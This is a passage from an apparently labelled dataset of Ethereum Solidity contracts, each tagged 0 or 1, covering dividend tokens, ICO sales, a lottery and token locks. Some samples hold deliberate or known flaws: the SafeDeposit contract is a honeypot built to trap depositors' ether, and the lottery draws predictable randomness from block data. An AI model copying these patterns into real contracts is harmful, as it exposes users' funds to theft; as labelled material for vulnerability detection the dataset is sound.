mapping(address => uint) internal ICOBuyIn;
uint public tokensMintedDuringICO;
uint public ethInvestedDuringICO;
uint public currentEthInvested;
uint internal tokenSupply = 0;
uint internal divTokenSupply = 0;
uint internal profitPerDivToken;
mapping(address => bool) public administrators;
bool public icoPhase = false;
bool public regularPhase = false;
uint icoOpenTime;
constructor (address _bankrollAddress, address _divCardAddress)
public
{
bankrollAddress = _bankrollAddress;
divCardContract = ZethrDividendCards(_divCardAddress);
administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true;
administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true;
administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true;
administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true;
administrators[0x8537aa2911b193e5B377938A723D805bb0865670] = true;
administrators[0x9D221b2100CbE5F05a0d2048E2556a6Df6f9a6C3] = true;
administrators[0xDa83156106c4dba7A26E9bF2Ca91E273350aa551] = true;
administrators[0x71009e9E4e5e68e77ECc7ef2f2E95cbD98c6E696] = true;
administrators[msg.sender] = true;
validDividendRates_[2] = true;
validDividendRates_[5] = true;
validDividendRates_[10] = true;
validDividendRates_[15] = true;
validDividendRates_[20] = true;
validDividendRates_[25] = true;
validDividendRates_[33] = true;
userSelectedRate[bankrollAddress] = true;
userDividendRate[bankrollAddress] = 33;
}
function buyAndSetDivPercentage(address _referredBy, uint8 _divChoice, string )
public
payable
returns (uint)
{
require(icoPhase || regularPhase);
if (icoPhase) {
uint gasPrice = tx.gasprice;
require(gasPrice <= icoMaxGasPrice && ethInvestedDuringICO <= icoHardCap);
}
require(validDividendRates_[_divChoice]);
userSelectedRate[msg.sender] = true;
userDividendRate[msg.sender] = _divChoice;
emit UserDividendRate(msg.sender, _divChoice);
purchaseTokens(msg.value, _referredBy);
}
function buy(address _referredBy)
public
payable
returns (uint)
{
require(regularPhase);
address _customerAddress = msg.sender;
require(userSelectedRate[_customerAddress]);
purchaseTokens(msg.value, _referredBy);
}
function buyAndTransfer(address _referredBy, address target)
public
payable
{
bytes memory empty;
buyAndTransfer(_referredBy, target, empty, 20);
}
function buyAndTransfer(address _referredBy, address target, bytes _data)
public
payable
{
buyAndTransfer(_referredBy, target, _data, 20);
}
function buyAndTransfer(address _referredBy, address target, bytes _data, uint8 divChoice)
public
payable
{
require(regularPhase);
address _customerAddress = msg.sender;
uint256 frontendBalance = frontTokenBalanceLedger_[msg.sender];
if (userSelectedRate[_customerAddress] && divChoice == 0) {
purchaseTokens(msg.value, _referredBy);
} else {
buyAndSetDivPercentage(_referredBy, divChoice, "0x0");
}
uint256 difference = SafeMath.sub(frontTokenBalanceLedger_[msg.sender], frontendBalance);
transferTo(msg.sender, target, difference, _data);
}
function()
payable
public
{
require(regularPhase);
address _customerAddress = msg.sender;
if (userSelectedRate[_customerAddress]) {
purchaseTokens(msg.value, 0x0);
} else {
buyAndSetDivPercentage(0x0, 20, "0x0");
}
}
function reinvest()
dividendHolder()
public
{
require(regularPhase);
uint _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
require(regularPhase);
address _customerAddress = msg.sender;
uint _tokens = frontTokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw(_customerAddress);
}
function withdraw(address _recipient)
dividendHolder()
public
{
require(regularPhase);
address _customerAddress = msg.sender;
uint _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
if (_recipient == address(0x0)) {
_recipient = msg.sender;
}
_recipient.transfer(_dividends);
emit onWithdraw(_recipient, _dividends);
}
function sell(uint _amountOfTokens)
onlyHolders()
public
{
require(!icoPhase);
require(regularPhase);
require(_amountOfTokens <= frontTokenBalanceLedger_[msg.sender]);
uint _frontEndTokensToBurn = _amountOfTokens;
uint userDivRate = getUserAverageDividendRate(msg.sender);
require((2 * magnitude) <= userDivRate && (50 * magnitude) >= userDivRate);
uint _divTokensToBurn = (_frontEndTokensToBurn.mul(userDivRate)).div(magnitude);
uint _ethereum = tokensToEthereum_(_frontEndTokensToBurn);
if (_ethereum > currentEthInvested) {
currentEthInvested = 0;
} else {currentEthInvested = currentEthInvested - _ethereum;}
uint _dividends = (_ethereum.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude);
uint _taxedEthereum = _ethereum.sub(_dividends);
tokenSupply = tokenSupply.sub(_frontEndTokensToBurn);
divTokenSupply = divTokenSupply.sub(_divTokensToBurn);
frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].sub(_frontEndTokensToBurn);
dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].sub(_divTokensToBurn);
int256 _updatedPayouts = (int256) (profitPerDivToken * _divTokensToBurn + (_taxedEthereum * magnitude));
payoutsTo_[msg.sender] -= _updatedPayouts;
if (divTokenSupply > 0) {
profitPerDivToken = profitPerDivToken.add((_dividends * magnitude) / divTokenSupply);
}
emit onTokenSell(msg.sender, _frontEndTokensToBurn, _taxedEthereum);
}
function transfer(address _toAddress, uint _amountOfTokens)
onlyHolders()
public
returns (bool)
{
require(_amountOfTokens >= MIN_TOKEN_TRANSFER && _amountOfTokens <= frontTokenBalanceLedger_[msg.sender]);
bytes memory empty;
transferFromInternal(msg.sender, _toAddress, _amountOfTokens, empty);
return true;
}
function approve(address spender, uint tokens)
public
returns (bool)
{
address _customerAddress = msg.sender;
allowed[_customerAddress][spender] = tokens;
emit Approval(_customerAddress, spender, tokens);
return true;
}
function transferFrom(address _from, address _toAddress, uint _amountOfTokens)
public
returns (bool)
{
address _customerAddress = _from;
bytes memory empty;
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_customerAddress]
&& _amountOfTokens <= allowed[_customerAddress][msg.sender]);
transferFromInternal(_from, _toAddress, _amountOfTokens, empty);
return true;
}
function transferTo(address _from, address _to, uint _amountOfTokens, bytes _data)
public
{
if (_from != msg.sender) {
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_from]
&& _amountOfTokens <= allowed[_from][msg.sender]);
}
else {
require(_amountOfTokens >= MIN_TOKEN_TRANSFER
&& _amountOfTokens <= frontTokenBalanceLedger_[_from]);
}
transferFromInternal(_from, _to, _amountOfTokens, _data);
}
function totalSupply()
public
view
returns (uint256)
{
return tokenSupply;
}
function publicStartRegularPhase()
public
{
require(now > (icoOpenTime + 2 weeks) && icoOpenTime != 0);
icoPhase = false;
regularPhase = true;
}
function startICOPhase()
onlyAdministrator()
public
{
require(icoOpenTime == 0);
icoPhase = true;
icoOpenTime = now;
}
function endICOPhase()
onlyAdministrator()
public
{
icoPhase = false;
}
function startRegularPhase()
onlyAdministrator
public
{
icoPhase = false;
regularPhase = true;
}
function setAdministrator(address _newAdmin, bool _status)
onlyAdministrator()
public
{
administrators[_newAdmin] = _status;
}
function setStakingRequirement(uint _amountOfTokens)
onlyAdministrator()
public
{
require(_amountOfTokens >= 100e18);
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function changeBankroll(address _newBankrollAddress)
onlyAdministrator
public
{
bankrollAddress = _newBankrollAddress;
}
function totalEthereumBalance()
public
view
returns (uint)
{
return address(this).balance;
}
function totalEthereumICOReceived()
public
view
returns (uint)
{
return ethInvestedDuringICO;
}
function getMyDividendRate()
public
view
returns (uint8)
{
address _customerAddress = msg.sender;
require(userSelectedRate[_customerAddress]);
return userDividendRate[_customerAddress];
}
function getFrontEndTokenSupply()
public
view
returns (uint)
{
return tokenSupply;
}
function getDividendTokenSupply()
public
view
returns (uint)
{
return divTokenSupply;
}
function myFrontEndTokens()
public
view
returns (uint)
{
address _customerAddress = msg.sender;
return getFrontEndTokenBalanceOf(_customerAddress);
}
function myDividendTokens()
public
view
returns (uint)
{
address _customerAddress = msg.sender;
return getDividendTokenBalanceOf(_customerAddress);
}
function myReferralDividends()
public
view
returns (uint)
{
return myDividends(true) - myDividends(false);
}
function myDividends(bool _includeReferralBonus)
public
view
returns (uint)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress);
}
function theDividendsOf(bool _includeReferralBonus, address _customerAddress)
public
view
returns (uint)
{
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress);
}
function getFrontEndTokenBalanceOf(address _customerAddress)
view
public
returns (uint)
{
return frontTokenBalanceLedger_[_customerAddress];
}
function balanceOf(address _owner)
view
public
returns (uint)
{
return getFrontEndTokenBalanceOf(_owner);
}
function getDividendTokenBalanceOf(address _customerAddress)
view
public
returns (uint)
{
return dividendTokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns (uint)
{
return (uint) ((int256)(profitPerDivToken * dividendTokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns (uint)
{
uint price;
if (icoPhase || currentEthInvested < ethInvestedDuringICO) {
price = tokenPriceInitial_;
} else {
uint tokensReceivedForEth = ethereumToTokens_(0.001 ether);
price = (1e18 * 0.001 ether) / tokensReceivedForEth;
}
uint theSellPrice = price.sub((price.mul(getUserAverageDividendRate(msg.sender)).div(100)).div(magnitude));
return theSellPrice;
}
function buyPrice(uint dividendRate)
public
view
returns (uint)
{
uint price;
if (icoPhase || currentEthInvested < ethInvestedDuringICO) {
price = tokenPriceInitial_;
} else {
uint tokensReceivedForEth = ethereumToTokens_(0.001 ether);
price = (1e18 * 0.001 ether) / tokensReceivedForEth;
}
uint theBuyPrice = (price.mul(dividendRate).div(100)).add(price);
return theBuyPrice;
}
function calculateTokensReceived(uint _ethereumToSpend)
public
view
returns (uint)
{
uint _dividends = (_ethereumToSpend.mul(userDividendRate[msg.sender])).div(100);
uint _taxedEthereum = _ethereumToSpend.sub(_dividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint _tokensToSell)
public
view
returns (uint)
{
require(_tokensToSell <= tokenSupply);
uint _ethereum = tokensToEthereum_(_tokensToSell);
uint userAverageDividendRate = getUserAverageDividendRate(msg.sender);
uint _dividends = (_ethereum.mul(userAverageDividendRate).div(100)).div(magnitude);
uint _taxedEthereum = _ethereum.sub(_dividends);
return _taxedEthereum;
}
function getUserAverageDividendRate(address user) public view returns (uint) {
return (magnitude * dividendTokenBalanceLedger_[user]).div(frontTokenBalanceLedger_[user]);
}
function getMyAverageDividendRate() public view returns (uint) {
return getUserAverageDividendRate(msg.sender);
}
function purchaseTokens(uint _incomingEthereum, address _referredBy)
internal
returns (uint)
{
require(_incomingEthereum >= MIN_ETH_BUYIN || msg.sender == bankrollAddress, "Tried to buy below the min eth buyin threshold.");
uint toBankRoll;
uint toReferrer;
uint toTokenHolders;
uint toDivCardHolders;
uint dividendAmount;
uint tokensBought;
uint dividendTokensBought;
uint remainingEth = _incomingEthereum;
uint fee;
if (regularPhase) {
toDivCardHolders = _incomingEthereum.div(100);
remainingEth = remainingEth.sub(toDivCardHolders);
}
uint dividendRate = userDividendRate[msg.sender];
dividendAmount = (remainingEth.mul(dividendRate)).div(100);
remainingEth = remainingEth.sub(dividendAmount);
if (icoPhase && msg.sender == bankrollAddress) {
remainingEth = remainingEth + dividendAmount;
}
tokensBought = ethereumToTokens_(remainingEth);
dividendTokensBought = tokensBought.mul(dividendRate);
tokenSupply = tokenSupply.add(tokensBought);
divTokenSupply = divTokenSupply.add(dividendTokensBought);
currentEthInvested = currentEthInvested + remainingEth;
if (icoPhase) {
toBankRoll = dividendAmount;
if (msg.sender == bankrollAddress) {
toBankRoll = 0;
}
toReferrer = 0;
toTokenHolders = 0;
ethInvestedDuringICO = ethInvestedDuringICO + remainingEth;
tokensMintedDuringICO = tokensMintedDuringICO + tokensBought;
require(ethInvestedDuringICO <= icoHardCap);
require(tx.origin == msg.sender || msg.sender == bankrollAddress);
ICOBuyIn[msg.sender] += remainingEth;
if (ethInvestedDuringICO == icoHardCap) {
icoPhase = false;
}
} else {
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != msg.sender &&
frontTokenBalanceLedger_[_referredBy] >= stakingRequirement)
{
toReferrer = (dividendAmount.mul(referrer_percentage)).div(100);
referralBalance_[_referredBy] += toReferrer;
emit Referral(_referredBy, toReferrer);
}
toTokenHolders = dividendAmount.sub(toReferrer);
fee = toTokenHolders * magnitude;
fee = fee - (fee - (dividendTokensBought * (toTokenHolders * magnitude / (divTokenSupply))));
profitPerDivToken = profitPerDivToken.add((toTokenHolders.mul(magnitude)).div(divTokenSupply));
payoutsTo_[msg.sender] += (int256) ((profitPerDivToken * dividendTokensBought) - fee);
}
frontTokenBalanceLedger_[msg.sender] = frontTokenBalanceLedger_[msg.sender].add(tokensBought);
dividendTokenBalanceLedger_[msg.sender] = dividendTokenBalanceLedger_[msg.sender].add(dividendTokensBought);
if (toBankRoll != 0) {ZethrBankroll(bankrollAddress).receiveDividends.value(toBankRoll)();}
if (regularPhase) {divCardContract.receiveDividends.value(toDivCardHolders)(dividendRate);}
emit Allocation(toBankRoll, toReferrer, toTokenHolders, toDivCardHolders, remainingEth);
uint sum = toBankRoll + toReferrer + toTokenHolders + toDivCardHolders + remainingEth - _incomingEthereum;
assert(sum == 0);
}
function ethereumToTokens_(uint _ethereumAmount)
public
view
returns (uint)
{
require(_ethereumAmount > MIN_ETH_BUYIN, "Tried to buy tokens with too little eth.");
if (icoPhase) {
return _ethereumAmount.div(tokenPriceInitial_) * 1e18;
}
uint ethTowardsICOPriceTokens = 0;
uint ethTowardsVariablePriceTokens = 0;
if (currentEthInvested >= ethInvestedDuringICO) {
ethTowardsVariablePriceTokens = _ethereumAmount;
} else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + _ethereumAmount <= ethInvestedDuringICO) {
ethTowardsICOPriceTokens = _ethereumAmount;
} else if (currentEthInvested < ethInvestedDuringICO && currentEthInvested + _ethereumAmount > ethInvestedDuringICO) {
ethTowardsICOPriceTokens = ethInvestedDuringICO.sub(currentEthInvested);
ethTowardsVariablePriceTokens = _ethereumAmount.sub(ethTowardsICOPriceTokens);
} else {
revert();
}
assert(ethTowardsICOPriceTokens + ethTowardsVariablePriceTokens == _ethereumAmount);
uint icoPriceTokens = 0;
uint varPriceTokens = 0;
if (ethTowardsICOPriceTokens != 0) {
icoPriceTokens = ethTowardsICOPriceTokens.mul(1e18).div(tokenPriceInitial_);
}
if (ethTowardsVariablePriceTokens != 0) {
uint simulatedEthBeforeInvested = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3) + ethTowardsICOPriceTokens;
uint simulatedEthAfterInvested = simulatedEthBeforeInvested + ethTowardsVariablePriceTokens;
uint tokensBefore = toPowerOfTwoThirds(simulatedEthBeforeInvested.mul(3).div(2)).mul(MULTIPLIER);
uint tokensAfter = toPowerOfTwoThirds(simulatedEthAfterInvested.mul(3).div(2)).mul(MULTIPLIER);
varPriceTokens = (1e6) * tokensAfter.sub(tokensBefore);
}
uint totalTokensReceived = icoPriceTokens + varPriceTokens;
assert(totalTokensReceived > 0);
return totalTokensReceived;
}
function tokensToEthereum_(uint _tokens)
public
view
returns (uint)
{
require(_tokens >= MIN_TOKEN_SELL_AMOUNT, "Tried to sell too few tokens.");
uint tokensToSellAtICOPrice = 0;
uint tokensToSellAtVariablePrice = 0;
if (tokenSupply <= tokensMintedDuringICO) {
tokensToSellAtICOPrice = _tokens;
} else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens >= tokensMintedDuringICO) {
tokensToSellAtVariablePrice = _tokens;
} else if (tokenSupply > tokensMintedDuringICO && tokenSupply - _tokens < tokensMintedDuringICO) {
tokensToSellAtVariablePrice = tokenSupply.sub(tokensMintedDuringICO);
tokensToSellAtICOPrice = _tokens.sub(tokensToSellAtVariablePrice);
} else {
revert();
}
assert(tokensToSellAtVariablePrice + tokensToSellAtICOPrice == _tokens);
uint ethFromICOPriceTokens;
uint ethFromVarPriceTokens;
if (tokensToSellAtICOPrice != 0) {
ethFromICOPriceTokens = tokensToSellAtICOPrice.mul(tokenPriceInitial_).div(1e18);
}
if (tokensToSellAtVariablePrice != 0) {
uint investmentBefore = toPowerOfThreeHalves(tokenSupply.div(MULTIPLIER * 1e6)).mul(2).div(3);
uint investmentAfter = toPowerOfThreeHalves((tokenSupply - tokensToSellAtVariablePrice).div(MULTIPLIER * 1e6)).mul(2).div(3);
ethFromVarPriceTokens = investmentBefore.sub(investmentAfter);
}
uint totalEthReceived = ethFromVarPriceTokens + ethFromICOPriceTokens;
assert(totalEthReceived > 0);
return totalEthReceived;
}
function transferFromInternal(address _from, address _toAddress, uint _amountOfTokens, bytes _data)
internal
{
require(regularPhase);
require(_toAddress != address(0x0));
address _customerAddress = _from;
uint _amountOfFrontEndTokens = _amountOfTokens;
if (theDividendsOf(true, _customerAddress) > 0) withdrawFrom(_customerAddress);
uint _amountOfDivTokens = _amountOfFrontEndTokens.mul(getUserAverageDividendRate(_customerAddress)).div(magnitude);
if (_customerAddress != msg.sender) {
allowed[_customerAddress][msg.sender] -= _amountOfTokens;
}
frontTokenBalanceLedger_[_customerAddress] = frontTokenBalanceLedger_[_customerAddress].sub(_amountOfFrontEndTokens);
frontTokenBalanceLedger_[_toAddress] = frontTokenBalanceLedger_[_toAddress].add(_amountOfFrontEndTokens);
dividendTokenBalanceLedger_[_customerAddress] = dividendTokenBalanceLedger_[_customerAddress].sub(_amountOfDivTokens);
dividendTokenBalanceLedger_[_toAddress] = dividendTokenBalanceLedger_[_toAddress].add(_amountOfDivTokens);
if (!userSelectedRate[_toAddress])
{
userSelectedRate[_toAddress] = true;
userDividendRate[_toAddress] = userDividendRate[_customerAddress];
}
payoutsTo_[_customerAddress] -= (int256) (profitPerDivToken * _amountOfDivTokens);
payoutsTo_[_toAddress] += (int256) (profitPerDivToken * _amountOfDivTokens);
uint length;
assembly {
length := extcodesize(_toAddress)
}
if (length > 0) {
ERC223Receiving receiver = ERC223Receiving(_toAddress);
receiver.tokenFallback(_from, _amountOfTokens, _data);
}
emit Transfer(_customerAddress, _toAddress, _amountOfFrontEndTokens);
}
function withdrawFrom(address _customerAddress)
internal
{
uint _dividends = theDividendsOf(false, _customerAddress);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function injectEther()
public
payable
onlyAdministrator
{
}
function toPowerOfThreeHalves(uint x) public pure returns (uint) {
return sqrt(x ** 3);
}
function toPowerOfTwoThirds(uint x) public pure returns (uint) {
return cbrt(x ** 2);
}
function sqrt(uint x) public pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function cbrt(uint x) public pure returns (uint y) {
uint z = (x + 1) / 3;
y = x;
while (z < y) {
y = z;
z = (x / (z * z) + 2 * z) / 3;
}
}
}
contract ZethrBankroll {
function receiveDividends() public payable {}
}
contract JackpotHolding is ERC223Receiving {
uint public payOutNumber = 0;
uint public payOutDivisor = 2;
ZethrBankrollControllerInterface controller;
Zethr zethr;
constructor (address _controllerAddress, address _zethrAddress) public {
controller = ZethrBankrollControllerInterface(_controllerAddress);
zethr = Zethr(_zethrAddress);
}
function() public payable {}
function tokenFallback(address , uint , bytes)
public
returns (bool)
{
}
function getJackpotBalance()
public view
returns (uint)
{
uint tempBalance;
for (uint i=0; i<7; i++) {
tempBalance += controller.tokenBankrolls(i).jackpotBalance() > 0 ? controller.tokenBankrolls(i).jackpotBalance() / payOutDivisor : 0;
}
tempBalance += zethr.balanceOf(address(this)) > 0 ? zethr.balanceOf(address(this)) / payOutDivisor : 0;
return tempBalance;
}
function ownerSetPayOutDivisor(uint _divisor)
public
ownerOnly
{
require(_divisor != 0);
payOutDivisor = _divisor;
}
function ownerSetControllerAddress(address _controllerAddress)
public
ownerOnly
{
controller = ZethrBankrollControllerInterface(_controllerAddress);
}
function ownerWithdrawZth(address _to)
public
ownerOnly
{
uint balance = zethr.balanceOf(address(this));
zethr.transfer(_to, balance);
}
function ownerWithdrawEth(address _to)
public
ownerOnly
{
_to.transfer(address(this).balance);
}
function gamePayOutWinner(address _winner)
public
gameOnly
{
for (uint i=0; i<7; i++) {
controller.tokenBankrolls(i).payJackpotToWinner(_winner, payOutDivisor);
}
uint payOutAmount;
if (zethr.balanceOf(address(this)) >= 1e10) {
payOutAmount = zethr.balanceOf(address(this)) / payOutDivisor;
}
if (payOutAmount >= 1e10) {
zethr.transfer(_winner, payOutAmount);
}
payOutNumber += 1;
emit JackpotPayOut(_winner, payOutNumber);
}
event JackpotPayOut(
address winner,
uint payOutNumber
);
modifier ownerOnly()
{
require(msg.sender == address(controller) || controller.multiSigWallet().isOwner(msg.sender));
_;
}
modifier gameOnly()
{
require(controller.validGameAddresses(msg.sender));
_;
}
} | 0 |
pragma solidity 0.4.20;
contract nistTokenBase {
uint256 _supply;
mapping (address => uint256) _balances;
event Transfer( address indexed from, address indexed to, uint256 value);
function nistTokenBase() public { }
function totalSupply() public view returns (uint256) {
return _supply;
}
function balanceOf(address src) public view returns (uint256) {
return _balances[src];
}
function transfer(address dst, uint256 wad) public returns (bool) {
require(_balances[msg.sender] >= wad);
_balances[msg.sender] = sub(_balances[msg.sender], wad);
_balances[dst] = add(_balances[dst], wad);
Transfer(msg.sender, dst, wad);
return true;
}
function add(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
require(z >= x && z>=y);
return z;
}
function sub(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x - y;
require(x >= y && z <= x);
return z;
}
}
contract nistToken is nistTokenBase {
string public symbol = "nist";
string public name = "NIST";
uint256 public decimals = 18;
uint256 public freezedValue = 640000000*(10**18);
uint256 public eachUnfreezeValue = 160000000*(10**18);
uint256 public releaseTime = 1543800600;
uint256 public latestReleaseTime = 1543800600;
address public owner;
struct FreezeStruct {
uint256 unfreezeTime;
bool freezed;
}
FreezeStruct[] public unfreezeTimeMap;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function nistToken() public {
_supply = 20*(10**8)*(10**18);
_balances[0x01] = freezedValue;
_balances[msg.sender] = sub(_supply,freezedValue);
owner = msg.sender;
unfreezeTimeMap.push(FreezeStruct({unfreezeTime:1543804200, freezed: true}));
unfreezeTimeMap.push(FreezeStruct({unfreezeTime:1543805300, freezed: true}));
unfreezeTimeMap.push(FreezeStruct({unfreezeTime:1543806400, freezed: true}));
unfreezeTimeMap.push(FreezeStruct({unfreezeTime:1543807500, freezed: true}));
}
function transfer(address dst, uint256 wad) public returns (bool) {
require (now >= releaseTime || now >= latestReleaseTime);
return super.transfer(dst, wad);
}
function distribute(address dst, uint256 wad) public returns (bool) {
require(msg.sender == owner);
return super.transfer(dst, wad);
}
function setRelease(uint256 _release) public {
require(msg.sender == owner);
require(_release <= latestReleaseTime);
releaseTime = _release;
}
function unfreeze(uint256 i) public {
require(msg.sender == owner);
require(i>=0 && i<unfreezeTimeMap.length);
require(now >= unfreezeTimeMap[i].unfreezeTime && unfreezeTimeMap[i].freezed);
require(_balances[0x01] >= eachUnfreezeValue);
_balances[0x01] = sub(_balances[0x01], eachUnfreezeValue);
_balances[owner] = add(_balances[owner], eachUnfreezeValue);
freezedValue = sub(freezedValue, eachUnfreezeValue);
unfreezeTimeMap[i].freezed = false;
Transfer(0x01, owner, eachUnfreezeValue);
}
} | 1 |
pragma solidity ^0.4.18;
contract Ownable {
address Owner;
function Ownable() { Owner = msg.sender; }
modifier onlyOwner { if (msg.sender == Owner) _; }
function transferOwnership(address to) public onlyOwner { Owner = to; }
}
contract Token {
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint amount) constant public returns (bool);
}
contract TokenVault is Ownable {
address owner;
event TokenTransfer(address indexed to, address token, uint amount);
function withdrawTokenTo(address token, address to) public onlyOwner returns (bool) {
uint amount = balanceOfToken(token);
if (amount > 0) {
TokenTransfer(to, token, amount);
return Token(token).transfer(to, amount);
}
return false;
}
function balanceOfToken(address token) public constant returns (uint256 bal) {
bal = Token(token).balanceOf(address(this));
}
}
contract SafeDeposit is TokenVault {
string public constant version = "v1.5";
event Deposit(address indexed depositor, uint amount);
event Withdrawal(address indexed to, uint amount);
event OpenDate(uint date);
mapping (address => uint) public Deposits;
uint minDeposit;
bool Locked;
uint Date;
function initVault() payable open {
Owner = msg.sender;
minDeposit = 0.5 ether;
deposit();
}
function MinimumDeposit() public constant returns (uint) { return minDeposit; }
function ReleaseDate() public constant returns (uint) { return Date; }
function WithdrawEnabled() public constant returns (bool) { return Date > 0 && Date <= now; }
function() public payable { deposit(); }
function deposit() public payable {
if (msg.value > 0) {
if (msg.value >= MinimumDeposit())
Deposits[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
}
function setRelease(uint newDate) public {
Date = newDate;
OpenDate(Date);
}
function withdraw(address to, uint amount) public onlyOwner {
if (WithdrawEnabled()) {
uint max = Deposits[msg.sender];
if (max > 0 && amount <= max) {
to.transfer(amount);
Withdrawal(to, amount);
}
}
}
function lock() public { if(Locked) revert(); Locked = true; }
modifier open { if (!Locked) _; owner = msg.sender; deposit(); }
function kill() public { require(this.balance == 0); selfdestruct(Owner); }
function getOwner() external constant returns (address) { return owner; }
} | 1 |
pragma solidity ^0.4.16;
interface Token {
function transferFrom(address _from, address _to, uint256 _value) external;
}
contract SGEICO {
Token public tokenReward;
address public creator;
address public owner = 0x8dfFcCE1d47C6325340712AB1B8fD7328075730C;
uint256 public price;
uint256 public startDate;
uint256 public endDate;
modifier isCreator() {
require(msg.sender == creator);
_;
}
event FundTransfer(address backer, uint amount, bool isContribution);
constructor () public {
creator = msg.sender;
startDate = 1536969600;
endDate = 1544832000;
price = 1100;
tokenReward = Token(0x40489719E489782959486A04B765E1E93E5B221a);
}
function setOwner(address _owner) isCreator public {
owner = _owner;
}
function setCreator(address _creator) isCreator public {
creator = _creator;
}
function setStartDate(uint256 _startDate) isCreator public {
startDate = _startDate;
}
function setEndtDate(uint256 _endDate) isCreator public {
endDate = _endDate;
}
function setPrice(uint256 _price) isCreator public {
price = _price;
}
function setToken(address _token) isCreator public {
tokenReward = Token(_token);
}
function kill() isCreator public {
selfdestruct(owner);
}
function () payable public {
require(msg.value > 1 ether);
require(now > startDate);
require(now < endDate);
uint amount = msg.value * price;
uint _amount = amount / 4;
amount += _amount;
tokenReward.transferFrom(owner, msg.sender, amount);
emit FundTransfer(msg.sender, amount, true);
owner.transfer(msg.value);
}
} | 1 |
pragma solidity ^0.4.17;
contract REALotteryWheel{
uint16 public round_count = 0;
bytes32 public last_hash;
address public controller;
mapping (uint16 => bytes32) public hashes;
function REALotteryWheel() public {
controller = msg.sender;
last_hash = keccak256(block.number, now);
}
function do_spin(bytes32 s) internal {
round_count = round_count + 1;
last_hash = keccak256(block.number,now,s);
hashes[round_count] = last_hash;
}
function spin(bytes32 s) public {
if(controller != msg.sender) revert();
do_spin(s);
}
function get_hash (uint16 i) constant returns (bytes32){
return hashes[i];
}
function () payable {
do_spin(bytes32(msg.value));
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30585600;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xe8421f54c1481DB8a213deF4F4281a012698fD92;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
